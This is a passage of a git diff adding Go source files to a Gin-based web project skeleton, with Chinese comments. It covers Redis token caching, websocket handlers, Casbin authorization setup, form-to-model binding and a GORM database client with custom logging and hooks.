清除某个用户的全部缓存,当用户更改密码或者用户被禁用则删除该用户的全部缓存 +func (u *userTokenCacheRedis) ClearUserToken() bool { + if _, err := u.redisClient.Execute("del", u.userTokenKey); err == nil { + return true + } + return false +} + +// ReleaseRedisConn 释放redis +func (u *userTokenCacheRedis) ReleaseRedisConn() { + u.redisClient.ReleaseOneRedisClient() +} diff --git a/GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go b/GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go new file mode 100644 index 0000000..c2eda2d --- /dev/null +++ b/GinSkeleton/app/service/websocket/on_open_success/set_client_more_params.go @@ -0,0 +1,9 @@ +package on_open_success + +// ClientMoreParams 为客户端成功上线后设置更多的参数 +// ws 客户端成功上线以后,可以通过客户端携带的唯一参数,在数据库查询更多的其他关键信息,设置在 *Client 结构体上 +// 这样便于在后续获取在线客户端时快速获取其他关键信息,例如:进行消息广播时记录日志可能需要更多字段信息等 +type ClientMoreParams struct { + UserParams1 string `json:"user_params_1"` // 字段名称以及类型由 开发者自己定义 + UserParams2 string `json:"user_params_2"` +} diff --git a/GinSkeleton/app/service/websocket/ws.go b/GinSkeleton/app/service/websocket/ws.go new file mode 100644 index 0000000..7e1117d --- /dev/null +++ b/GinSkeleton/app/service/websocket/ws.go @@ -0,0 +1,91 @@ +package websocket + +import ( + "fmt" + "github.com/gin-gonic/gin" + "github.com/gorilla/websocket" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/websocket/core" +) + +/** +websocket模块相关事件执行顺序: +1.onOpen +2.OnMessage +3.OnError +4.OnClose +*/ + +type Ws struct { + WsClient *core.Client +} + +// OnOpen 事件函数 +func (w *Ws) OnOpen(context *gin.Context) (*Ws, bool) { + if client, ok := (&core.Client{}).OnOpen(context); ok { + + token := context.GetString(consts.ValidatorPrefix + "token") + variable.ZapLog.Info("获取到的客户端上线时携带的唯一标记值:", zap.String("token", token)) + + // 成功上线以后,开发者可以基于客户端上线时携带的唯一参数(这里用token键表示) + // 在数据库查询更多的其他字段信息,直接追加在 Client 结构体上,方便后续使用 + //client.ClientMoreParams.UserParams1 = token + //client.ClientMoreParams.UserParams2 = "456" + //fmt.Printf("最终每一个客户端(client) 已有的参数:%+v\n", client) + + w.WsClient = client + go w.WsClient.Heartbeat() // 一旦握手+协议升级成功,就为每一个连接开启一个自动化的隐式心跳检测包 + return w, true + } else { + return nil, false + } +} + +// OnMessage 处理业务消息 +func (w *Ws) OnMessage(context *gin.Context) { + go w.WsClient.ReadPump(func(messageType int, receivedData []byte) { + //参数说明 + //messageType 消息类型,1=文本 + //receivedData 服务器接收到客户端(例如js客户端)发来的的数据,[]byte 格式 + + tempMsg := "服务器已经收到了你的消息==>" + string(receivedData) + // 回复客户端已经收到消息; + if err := w.WsClient.SendMessage(messageType, tempMsg); err != nil { + variable.ZapLog.Error("消息发送出现错误", zap.Error(err)) + } + + }, w.OnError, w.OnClose) +} + +// OnError 客户端与服务端在消息交互过程中发生错误回调函数 +func (w *Ws) OnError(err error) { + w.WsClient.State = 0 // 发生错误,状态设置为0, 心跳检测协程则自动退出 + variable.ZapLog.Error("远端掉线、卡死、刷新浏览器等会触发该错误:", zap.Error(err)) + //fmt.Printf("远端掉线、卡死、刷新浏览器等会触发该错误: %v\n", err.Error()) +} + +// OnClose 客户端关闭回调,发生onError回调以后会继续回调该函数 +func (w *Ws) OnClose() { + + w.WsClient.Hub.UnRegister <- w.WsClient // 向hub管道投递一条注销消息,由hub中心负责关闭连接、删除在线数据 +} + +// GetOnlineClients 获取在线的全部客户端 +func (w *Ws) GetOnlineClients() { + + fmt.Printf("在线客户端数量:%d\n", len(w.WsClient.Hub.Clients)) +} + +// BroadcastMsg (每一个客户端都有能力)向全部在线客户端广播消息 +func (w *Ws) BroadcastMsg(sendMsg string) { + for onlineClient := range w.WsClient.Hub.Clients { + + //获取每一个在线的客户端,向远端发送消息 + if err := onlineClient.SendMessage(websocket.TextMessage, sendMsg); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketWriteMgsFail, zap.Error(err)) + } + } +} diff --git a/GinSkeleton/app/utils/casbin_v2/casbin_v2.go b/GinSkeleton/app/utils/casbin_v2/casbin_v2.go new file mode 100644 index 0000000..c5ae29a --- /dev/null +++ b/GinSkeleton/app/utils/casbin_v2/casbin_v2.go @@ -0,0 +1,58 @@ +package casbin_v2 + +import ( + "errors" + "github.com/casbin/casbin/v2" + "github.com/casbin/casbin/v2/model" + gormadapter "github.com/casbin/gorm-adapter/v3" + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" + "time" +) + +//创建 casbin Enforcer(执行器) +func InitCasbinEnforcer() (*casbin.SyncedEnforcer, error) { + var tmpDbConn *gorm.DB + var Enforcer *casbin.SyncedEnforcer + switch strings.ToLower(variable.ConfigGormv2Yml.GetString("Gormv2.UseDbType")) { + case "mysql": + if variable.GormDbMysql == nil { + return nil, errors.New(my_errors.ErrorCasbinCanNotUseDbPtr) + } + tmpDbConn = variable.GormDbMysql + case "sqlserver", "mssql": + if variable.GormDbSqlserver == nil { + return nil, errors.New(my_errors.ErrorCasbinCanNotUseDbPtr) + } + tmpDbConn = variable.GormDbSqlserver + case "postgre", "postgresql", "postgres": + if variable.GormDbPostgreSql == nil { + return nil, errors.New(my_errors.ErrorCasbinCanNotUseDbPtr) + } + tmpDbConn = variable.GormDbPostgreSql + default: + } + + prefix := variable.ConfigYml.GetString("Casbin.TablePrefix") + tbName := variable.ConfigYml.GetString("Casbin.TableName") + + a, err := gormadapter.NewAdapterByDBUseTableName(tmpDbConn, prefix, tbName) + if err != nil { + return nil, errors.New(my_errors.ErrorCasbinCreateAdaptFail) + } + modelConfig := variable.ConfigYml.GetString("Casbin.ModelConfig") + + if m, err := model.NewModelFromString(modelConfig); err != nil { + return nil, errors.New(my_errors.ErrorCasbinNewModelFromStringFail + err.Error()) + } else { + if Enforcer, err = casbin.NewSyncedEnforcer(m, a); err != nil { + return nil, errors.New(my_errors.ErrorCasbinCreateEnforcerFail) + } + _ = Enforcer.LoadPolicy() + AutoLoadSeconds := variable.ConfigYml.GetDuration("Casbin.AutoLoadPolicySeconds") + Enforcer.StartAutoLoadPolicy(time.Second * AutoLoadSeconds) + return Enforcer, nil + } +} diff --git a/GinSkeleton/app/utils/cur_userinfo/cur_user.go b/GinSkeleton/app/utils/cur_userinfo/cur_user.go new file mode 100644 index 0000000..10d1349 --- /dev/null +++ b/GinSkeleton/app/utils/cur_userinfo/cur_user.go @@ -0,0 +1,15 @@ +package cur_userinfo + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/variable" + "goskeleton/app/http/middleware/my_jwt" +) + +// GetCurrentUserId 获取当前用户的id +// @context 请求上下文 +func GetCurrentUserId(context *gin.Context) (int64, bool) { + tokenKey := variable.ConfigYml.GetString("Token.BindContextKeyName") + currentUser, exist := context.MustGet(tokenKey).(my_jwt.CustomClaims) + return currentUser.UserId, exist +} diff --git a/GinSkeleton/app/utils/data_bind/formdata_to_model.go b/GinSkeleton/app/utils/data_bind/formdata_to_model.go new file mode 100644 index 0000000..e26cec7 --- /dev/null +++ b/GinSkeleton/app/utils/data_bind/formdata_to_model.go @@ -0,0 +1,77 @@ +package data_bind + +import ( + "errors" + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "reflect" +) + +const ( + modelStructMustPtr = "modelStruct 必须传递一个指针" +) + +// 绑定form表单验证器已经验证完成的参数到 model 结构体, +// mode 结构体支持匿名嵌套 +// 数据绑定原则: +// 1.表单参数验证器中的结构体字段 json 标签必须和 model 结构体定义的 json 标签一致 +// 2.model 中的数据类型与表单参数验证器数据类型保持一致: +// 例如:model 中的 user_name 是 string 那么表单参数验证器中的 user_name 也必须是 string,bool 类型同理,日期时间字段在 ginskeleton 中请按照 string 处理 +// 3.但是 model 中的字段如果是数字类型(int、int8、int16、int64、float32、float64等)都可以绑定表单参数验证中的 float64 类型,程序会自动将原始的 float64 转换为 model 的定义的数字类型 + +func ShouldBindFormDataToModel(c *gin.Context, modelStruct interface{}) error { + mTypeOf := reflect.TypeOf(modelStruct) + if mTypeOf.Kind() != reflect.Ptr { + return errors.New(modelStructMustPtr) + } + mValueOf := reflect.ValueOf(modelStruct) + + //分析 modelStruct 字段 + mValueOfEle := mValueOf.Elem() + mtf := mValueOf.Elem().Type() + fieldNum := mtf.NumField() + for i := 0; i < fieldNum; i++ { + if !mtf.Field(i).Anonymous && mtf.Field(i).Type.Kind() != reflect.Struct { + fieldSetValue(c, mValueOfEle, mtf, i) + } else if mtf.Field(i).Type.Kind() == reflect.Struct { + //处理结构体(有名+匿名) + mValueOfEle.Field(i).Set(analysisAnonymousStruct(c, mValueOfEle.Field(i))) + } + } + return nil +} + +// 分析匿名结构体,并且获取匿名结构体的值 +func analysisAnonymousStruct(c *gin.Context, value reflect.Value) reflect.Value { + + typeOf := value.Type() + fieldNum := typeOf.NumField() + newStruct := reflect.New(typeOf) + newStructElem := newStruct.Elem() + for i := 0; i < fieldNum; i++ { + fieldSetValue(c, newStructElem, typeOf, i) + } + return newStructElem +} + +// 为结构体字段赋值 +func fieldSetValue(c *gin.Context, valueOf reflect.Value, typeOf reflect.Type, colIndex int) { + relaKey := typeOf.Field(colIndex).Tag.Get("json") + if relaKey != "-" { + relaKey = consts.ValidatorPrefix + typeOf.Field(colIndex).Tag.Get("json") + switch typeOf.Field(colIndex).Type.Kind() { + case reflect.Int, reflect.Int16, reflect.Int32, reflect.Int64: + valueOf.Field(colIndex).SetInt(int64(c.GetFloat64(relaKey))) + case reflect.Float32, reflect.Float64: + valueOf.Field(colIndex).SetFloat(c.GetFloat64(relaKey)) + case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: + valueOf.Field(colIndex).SetUint(uint64(c.GetFloat64(relaKey))) + case reflect.String: + valueOf.Field(colIndex).SetString(c.GetString(relaKey)) + case reflect.Bool: + valueOf.Field(colIndex).SetBool(c.GetBool(relaKey)) + default: + // model 如果有日期时间字段,请统一设置为字符串即可 + } + } +} diff --git a/GinSkeleton/app/utils/files/baseInfo.go b/GinSkeleton/app/utils/files/baseInfo.go new file mode 100644 index 0000000..88249c5 --- /dev/null +++ b/GinSkeleton/app/utils/files/baseInfo.go @@ -0,0 +1,49 @@ +package files + +import ( + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "mime/multipart" + "net/http" + "os" +) + +// 返回值说明: +// 7z、exe、doc 类型会返回 application/octet-stream 未知的文件类型 +// jpg => image/jpeg +// png => image/png +// ico => image/x-icon +// bmp => image/bmp +// xlsx、docx 、zip => application/zip +// tar.gz => application/x-gzip +// txt、json、log等文本文件 => text/plain; charset=utf-8 备注:就算txt是gbk、ansi编码,也会识别为utf-8 + +// 通过文件名获取文件mime信息 +func GetFilesMimeByFileName(filepath string) string { + f, err := os.Open(filepath) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorsFilesUploadOpenFail + err.Error()) + } + defer f.Close() + + // 只需要前 32 个字节就可以了 + buffer := make([]byte, 32) + if _, err := f.Read(buffer); err != nil { + variable.ZapLog.Error(my_errors.ErrorsFilesUploadReadFail + err.Error()) + return "" + } + + return http.DetectContentType(buffer) +} + +// 通过文件指针获取文件mime信息 +func GetFilesMimeByFp(fp multipart.File) string { + + buffer := make([]byte, 32) + if _, err := fp.Read(buffer); err != nil { + variable.ZapLog.Error(my_errors.ErrorsFilesUploadReadFail + err.Error()) + return "" + } + + return http.DetectContentType(buffer) +} diff --git a/GinSkeleton/app/utils/gin_release/gin_release_router.go b/GinSkeleton/app/utils/gin_release/gin_release_router.go new file mode 100644 index 0000000..8290395 --- /dev/null +++ b/GinSkeleton/app/utils/gin_release/gin_release_router.go @@ -0,0 +1,46 @@ +package gin_release + +import ( + "errors" + "fmt" + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/utils/response" + "io/ioutil" +) + +// ReleaseRouter 根据 gin 路由包官方的建议,gin 路由引擎如果在生产模式使用,官方建议设置为 release 模式 +// 官方原版提示说明:[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. +// 这里我们将按照官方指导进行生产模式精细化处理 +func ReleaseRouter() *gin.Engine { + // 切换到生产模式禁用 gin 输出接口访问日志,经过并发测试验证,可以提升5%的性能 + gin.SetMode(gin.ReleaseMode) + gin.DefaultWriter = ioutil.Discard + + engine := gin.New() + // 载入gin的中间件,关键是第二个中间件,我们对它进行了自定义重写,将可能的 panic 异常等,统一使用 zaplog 接管,保证全局日志打印统一 + engine.Use(gin.Logger(), CustomRecovery()) + return engine +} + +// CustomRecovery 自定义错误(panic等)拦截中间件、对可能发生的错误进行拦截、统一记录 +func CustomRecovery() gin.HandlerFunc { + DefaultErrorWriter := &PanicExceptionRecord{} + return gin.RecoveryWithWriter(DefaultErrorWriter, func(c *gin.Context, err interface{}) { + // 这里针对发生的panic等异常进行统一响应即可 + // 这里的 err 数据类型为 :runtime.boundsError ,需要转为普通数据类型才可以输出 + response.ErrorSystem(c, "", fmt.Sprintf("%s", err)) + }) +} + +// PanicExceptionRecord panic等异常记录 +type PanicExceptionRecord struct{} + +func (p *PanicExceptionRecord) Write(b []byte) (n int, err error) { + errStr := string(b) + err = errors.New(errStr) + variable.ZapLog.Error(consts.ServerOccurredErrorMsg, zap.String("errStrace", errStr)) + return len(errStr), err +} diff --git a/GinSkeleton/app/utils/gorm_v2/client.go b/GinSkeleton/app/utils/gorm_v2/client.go new file mode 100644 index 0000000..0598545 --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/client.go @@ -0,0 +1,190 @@ +package gorm_v2 + +import ( + "errors" + "fmt" + "go.uber.org/zap" + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" + "gorm.io/driver/sqlserver" + "gorm.io/gorm" + gormLog "gorm.io/gorm/logger" + "gorm.io/plugin/dbresolver" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" + "time" +) + +// 获取一个 mysql 客户端 +func GetOneMysqlClient() (*gorm.DB, error) { + sqlType := "Mysql" + readDbIsOpen := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".IsOpenReadDb") + return GetSqlDriver(sqlType, readDbIsOpen) +} + +// 获取一个 sqlserver 客户端 +func GetOneSqlserverClient() (*gorm.DB, error) { + sqlType := "SqlServer" + readDbIsOpen := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".IsOpenReadDb") + return GetSqlDriver(sqlType, readDbIsOpen) +} + +// 获取一个 postgresql 客户端 +func GetOnePostgreSqlClient() (*gorm.DB, error) { + sqlType := "Postgresql" + readDbIsOpen := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".IsOpenReadDb") + return GetSqlDriver(sqlType, readDbIsOpen) +} + +// 获取数据库驱动, 可以通过options 动态参数连接任意多个数据库 +func GetSqlDriver(sqlType string, readDbIsOpen int, dbConf ...ConfigParams) (*gorm.DB, error) { + + var dbDialector gorm.Dialector + if val, err := getDbDialector(sqlType, "Write", dbConf...); err != nil { + variable.ZapLog.Error(my_errors.ErrorsDialectorDbInitFail+sqlType, zap.Error(err)) + } else { + dbDialector = val + } + gormDb, err := gorm.Open(dbDialector, &gorm.Config{ + SkipDefaultTransaction: true, + PrepareStmt: true, + Logger: redefineLog(sqlType), //拦截、接管 gorm v2 自带日志 + }) + if err != nil { + //gorm 数据库驱动初始化失败 + return nil, err + } + + // 如果开启了读写分离,配置读数据库(resource、read、replicas) + // 读写分离配置只 + if readDbIsOpen == 1 { + if val, err := getDbDialector(sqlType, "Read", dbConf...); err != nil { + variable.ZapLog.Error(my_errors.ErrorsDialectorDbInitFail+sqlType, zap.Error(err)) + } else { + dbDialector = val + } + resolverConf := dbresolver.Config{ + Replicas: []gorm.Dialector{dbDialector}, // 读 操作库,查询类 + Policy: dbresolver.RandomPolicy{}, // sources/replicas 负载均衡策略适用于 + } + err = gormDb.Use(dbresolver.Register(resolverConf).SetConnMaxIdleTime(time.Second * 30). + SetConnMaxLifetime(variable.ConfigGormv2Yml.GetDuration("Gormv2."+sqlType+".Read.SetConnMaxLifetime") * time.Second). + SetMaxIdleConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Read.SetMaxIdleConns")). + SetMaxOpenConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Read.SetMaxOpenConns"))) + if err != nil { + return nil, err + } + } + + // 查询没有数据,屏蔽 gorm v2 包中会爆出的错误 + // https://github.com/go-gorm/gorm/issues/3789 此 issue 所反映的问题就是我们本次解决掉的 + _ = gormDb.Callback().Query().Before("gorm:query").Register("disable_raise_record_not_found", MaskNotDataError) + + // https://github.com/go-gorm/gorm/issues/4838 + _ = gormDb.Callback().Create().Before("gorm:before_create").Register("CreateBeforeHook", CreateBeforeHook) + // 为了完美支持gorm的一系列回调函数 + _ = gormDb.Callback().Update().Before("gorm:before_update").Register("UpdateBeforeHook", UpdateBeforeHook) + + // 为主连接设置连接池(43行返回的数据库驱动指针) + if rawDb, err := gormDb.DB(); err != nil { + return nil, err + } else { + rawDb.SetConnMaxIdleTime(time.Second * 30) + rawDb.SetConnMaxLifetime(variable.ConfigGormv2Yml.GetDuration("Gormv2."+sqlType+".Write.SetConnMaxLifetime") * time.Second) + rawDb.SetMaxIdleConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Write.SetMaxIdleConns")) + rawDb.SetMaxOpenConns(variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + ".Write.SetMaxOpenConns")) + // 全局sql的debug配置 + if variable.ConfigGormv2Yml.GetBool("Gormv2.SqlDebug") { + return gormDb.Debug(), nil + } else { + return gormDb, nil + } + } +} + +// 获取一个数据库方言(Dialector),通俗的说就是根据不同的连接参数,获取具体的一类数据库的连接指针 +func getDbDialector(sqlType, readWrite string, dbConf ...ConfigParams) (gorm.Dialector, error) { + var dbDialector gorm.Dialector + dsn := getDsn(sqlType, readWrite, dbConf...) + switch strings.ToLower(sqlType) { + case "mysql": + dbDialector = mysql.Open(dsn) + case "sqlserver", "mssql": + dbDialector = sqlserver.Open(dsn) + case "postgres", "postgresql", "postgre": + dbDialector = postgres.Open(dsn) + default: + return nil, errors.New(my_errors.ErrorsDbDriverNotExists + sqlType) + } + return dbDialector, nil +} + +// 根据配置参数生成数据库驱动 dsn +func getDsn(sqlType, readWrite string, dbConf ...ConfigParams) string { + Host := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".Host") + DataBase := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".DataBase") + Port := variable.ConfigGormv2Yml.GetInt("Gormv2." + sqlType + "." + readWrite + ".Port") + User := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".User") + Pass := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".Pass") + Charset := variable.ConfigGormv2Yml.GetString("Gormv2." + sqlType + "." + readWrite + ".Charset") + + if len(dbConf) > 0 { + if strings.ToLower(readWrite) == "write" { + if len(dbConf[0].Write.Host) > 0 { + Host = dbConf[0].Write.Host + } + if len(dbConf[0].Write.DataBase) > 0 { + DataBase = dbConf[0].Write.DataBase + } + if dbConf[0].Write.Port > 0 { + Port = dbConf[0].Write.Port + } + if len(dbConf[0].Write.User) > 0 { + User = dbConf[0].Write.User + } + if len(dbConf[0].Write.Pass) > 0 { + Pass = dbConf[0].Write.Pass + } + if len(dbConf[0].Write.Charset) > 0 { + Charset = dbConf[0].Write.Charset + } + } else { + if len(dbConf[0].Read.Host) > 0 { + Host = dbConf[0].Read.Host + } + if len(dbConf[0].Read.DataBase) > 0 { + DataBase = dbConf[0].Read.DataBase + } + if dbConf[0].Read.Port > 0 { + Port = dbConf[0].Read.Port + } + if len(dbConf[0].Read.User) > 0 { + User = dbConf[0].Read.User + } + if len(dbConf[0].Read.Pass) > 0 { + Pass = dbConf[0].Read.Pass + } + if len(dbConf[0].Read.Charset) > 0 { + Charset = dbConf[0].Read.Charset + } + } + } + + switch strings.ToLower(sqlType) { + case "mysql": + return fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=%s&parseTime=false&loc=Local", User, Pass, Host, Port, DataBase, Charset) + case "sqlserver", "mssql": + return fmt.Sprintf("server=%s;port=%d;database=%s;user id=%s;password=%s;encrypt=disable", Host, Port, DataBase, User, Pass) + case "postgresql", "postgre", "postgres": + return fmt.Sprintf("host=%s port=%d dbname=%s user=%s password=%s sslmode=disable TimeZone=Asia/Shanghai", Host, Port, DataBase, User, Pass) + } + return "" +} + +// 创建自定义日志模块,对 gorm 日志进行拦截、 +func redefineLog(sqlType string) gormLog.Interface { + return createCustomGormLog(sqlType, + SetInfoStrFormat("[info] %s\n"), SetWarnStrFormat("[warn] %s\n"), SetErrStrFormat("[error] %s\n"), + SetTraceStrFormat("[traceStr] %s [%.3fms] [rows:%v] %s\n"), SetTracWarnStrFormat("[traceWarn] %s %s [%.3fms] [rows:%v] %s\n"), SetTracErrStrFormat("[traceErr] %s %s [%.3fms] [rows:%v] %s\n")) +} diff --git a/GinSkeleton/app/utils/gorm_v2/config_params.go b/GinSkeleton/app/utils/gorm_v2/config_params.go new file mode 100644 index 0000000..4621f14 --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/config_params.go @@ -0,0 +1,19 @@ +package gorm_v2 + +// 数据库参数配置,结构体 +// 用于解决复杂的业务场景连接到多台服务器部署的 mysql、sqlserver、postgresql 数据库 +// 具体用法参见常用开发模块:多源数据库的操作 + +type ConfigParams struct { + Write ConfigParamsDetail + Read ConfigParamsDetail +} +type ConfigParamsDetail struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string +} diff --git a/GinSkeleton/app/utils/gorm_v2/custom_log.go b/GinSkeleton/app/utils/gorm_v2/custom_log.go new file mode 100644 index 0000000..335a7b7 --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/custom_log.go @@ -0,0 +1,174 @@ +package gorm_v2 + +import ( + "context" + "errors" + "fmt" + "go.uber.org/zap" + gormLog "gorm.io/gorm/logger" + "gorm.io/gorm/utils" + "goskeleton/app/global/variable" + "strings" + "time" +) + +// 自定义日志格式, 对 gorm 自带日志进行拦截重写 +func createCustomGormLog(sqlType string, options ...Options) gormLog.Interface { + var ( + infoStr = "%s\n[info] " + warnStr = "%s\n[warn] " + errStr = "%s\n[error] " + traceStr = "%s\n[%.3fms] [rows:%v] %s" + traceWarnStr = "%s %s\n[%.3fms] [rows:%v] %s" + traceErrStr = "%s %s\n[%.3fms] [rows:%v] %s" + ) + logConf := gormLog.Config{ + SlowThreshold: time.Second * variable.ConfigGormv2Yml.GetDuration("Gormv2."+sqlType+".SlowThreshold"), + LogLevel: gormLog.Warn, + Colorful: false, + } + log := &logger{ + Writer: logOutPut{}, + Config: logConf, + infoStr: infoStr, + warnStr: warnStr, + errStr: errStr, + traceStr: traceStr, + traceWarnStr: traceWarnStr, + traceErrStr: traceErrStr, + } + for _, val := range options { + val.apply(log) + } + return log +} + +type logOutPut struct{} + +func (l logOutPut) Printf(strFormat string, args ...interface{}) { + logRes := fmt.Sprintf(strFormat, args...) + logFlag := "gorm_v2 日志:" + detailFlag := "详情:" + if strings.HasPrefix(strFormat, "[info]") || strings.HasPrefix(strFormat, "[traceStr]") { + variable.ZapLog.Info(logFlag, zap.String(detailFlag, logRes)) + } else if strings.HasPrefix(strFormat, "[error]") || strings.HasPrefix(strFormat, "[traceErr]") { + variable.ZapLog.Error(logFlag, zap.String(detailFlag, logRes)) + } else if strings.HasPrefix(strFormat, "[warn]") || strings.HasPrefix(strFormat, "[traceWarn]") { + variable.ZapLog.Warn(logFlag, zap.String(detailFlag, logRes)) + } + +} + +// 尝试从外部重写内部相关的格式化变量 +type Options interface { + apply(*logger) +} +type OptionFunc func(log *logger) + +func (f OptionFunc) apply(log *logger) { + f(log) +} + +// 定义 6 个函数修改内部变量 +func SetInfoStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.infoStr = format + }) +} + +func SetWarnStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.warnStr = format + }) +} + +func SetErrStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.errStr = format + }) +} + +func SetTraceStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.traceStr = format + }) +} +func SetTracWarnStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.traceWarnStr = format + }) +} + +func SetTracErrStrFormat(format string) Options { + return OptionFunc(func(log *logger) { + log.traceErrStr = format + }) +} + +type logger struct { + gormLog.Writer + gormLog.Config + infoStr, warnStr, errStr string + traceStr, traceErrStr, traceWarnStr string +} + +// LogMode log mode +func (l *logger) LogMode(level gormLog.LogLevel) gormLog.Interface { + newlogger := *l + newlogger.LogLevel = level + return &newlogger +} + +// Info print info +func (l logger) Info(_ context.Context, msg string, data ...interface{}) { + if l.LogLevel >= gormLog.Info { + l.Printf(l.infoStr+msg, append([]interface{}{utils.FileWithLineNum()}, data...)...) + } +} + +// Warn print warn messages +func (l logger) Warn(_ context.Context, msg string, data ...interface{}) { + if l.LogLevel >= gormLog.Warn { + l.Printf(l.warnStr+msg, append([]interface{}{utils.FileWithLineNum()}, data...)...) + } +} + +// Error print error messages +func (l logger) Error(_ context.Context, msg string, data ...interface{}) { + if l.LogLevel >= gormLog.Error { + l.Printf(l.errStr+msg, append([]interface{}{utils.FileWithLineNum()}, data...)...) + } +} + +// Trace print sql message +func (l logger) Trace(ctx context.Context, begin time.Time, fc func() (string, int64), err error) { + if l.LogLevel <= gormLog.Silent { + return + } + + elapsed := time.Since(begin) + switch { + case err != nil && l.LogLevel >= gormLog.Error && (!errors.Is(err, gormLog.ErrRecordNotFound) || !l.IgnoreRecordNotFoundError): + sql, rows := fc() + if rows == -1 { + l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, "-1", sql) + } else { + l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, rows, sql) + } + case elapsed > l.SlowThreshold && l.SlowThreshold != 0 && l.LogLevel >= gormLog.Warn: + sql, rows := fc() + slowLog := fmt.Sprintf("SLOW SQL >= %v", l.SlowThreshold) + if rows == -1 { + l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, "-1", sql) + } else { + l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, rows, sql) + } + case l.LogLevel == gormLog.Info: + sql, rows := fc() + if rows == -1 { + l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, "-1", sql) + } else { + l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, rows, sql) + } + } +} diff --git a/GinSkeleton/app/utils/gorm_v2/hook.go b/GinSkeleton/app/utils/gorm_v2/hook.go new file mode 100644 index 0000000..478863d --- /dev/null +++ b/GinSkeleton/app/utils/gorm_v2/hook.go @@ -0,0 +1,166 @@ +package gorm_v2 + +import ( + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "reflect" + "strings" + "time" +) + +// 这里的函数都是gorm的hook函数,拦截一些官方我们认为不合格的操作行为,提升项目整体的完美性 + +// MaskNotDataError 解决gorm v2 包在查询无数据时,报错问题(record not found),但是官方认为报错是应该是,我们认为查询无数据,代码一切ok,不应该报错 +func MaskNotDataError(gormDB *gorm.DB) { + gormDB.Statement.RaiseErrorOnNotFound = false +} + +// InterceptCreatePramsNotPtrError 拦截 create 函数参数如果是非指针类型的错误,新用户最容犯此错误 + +func CreateBeforeHook(gormDB *gorm.DB) { + if reflect.TypeOf(gormDB.Statement.Dest).Kind() != reflect.Ptr { + variable.ZapLog.Warn(my_errors.ErrorsGormDBCreateParamsNotPtr) + } else { + destValueOf := reflect.ValueOf(gormDB.Statement.Dest).Elem() + if destValueOf.Type().Kind() == reflect.Slice || destValueOf.Type().Kind() == reflect.Array { + inLen := destValueOf.Len() + for i := 0; i < inLen; i++ { + row := destValueOf.Index(i) + if row.Type().Kind() == reflect.Struct { + if b, column := structHasSpecialField("CreatedAt", row); b { + destValueOf.Index(i).FieldByName(column).Set(reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + if b, column := structHasSpecialField("UpdatedAt", row); b { + destValueOf.Index(i).FieldByName(column).Set(reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + + } else if row.Type().Kind() == reflect.Map { + if b, column := structHasSpecialField("created_at", row); b { + row.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + if b, column := structHasSpecialField("updated_at", row); b { + row.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + } + } + } else if destValueOf.Type().Kind() == reflect.Struct { + // if destValueOf.Type().Kind() == reflect.Struct + // 参数校验无错误自动设置 CreatedAt、 UpdatedAt + if b, column := structHasSpecialField("CreatedAt", gormDB.Statement.Dest); b { + gormDB.Statement.SetColumn(column, time.Now().Format(variable.DateFormat)) + } + if b, column := structHasSpecialField("UpdatedAt", gormDB.Statement.Dest); b { + gormDB.Statement.SetColumn(column, time.Now().Format(variable.DateFormat)) + } + } else if destValueOf.Type().Kind() == reflect.Map { + if b, column := structHasSpecialField("created_at", gormDB.Statement.Dest); b { + destValueOf.SetMapIndex(reflect.ValueOf(column), 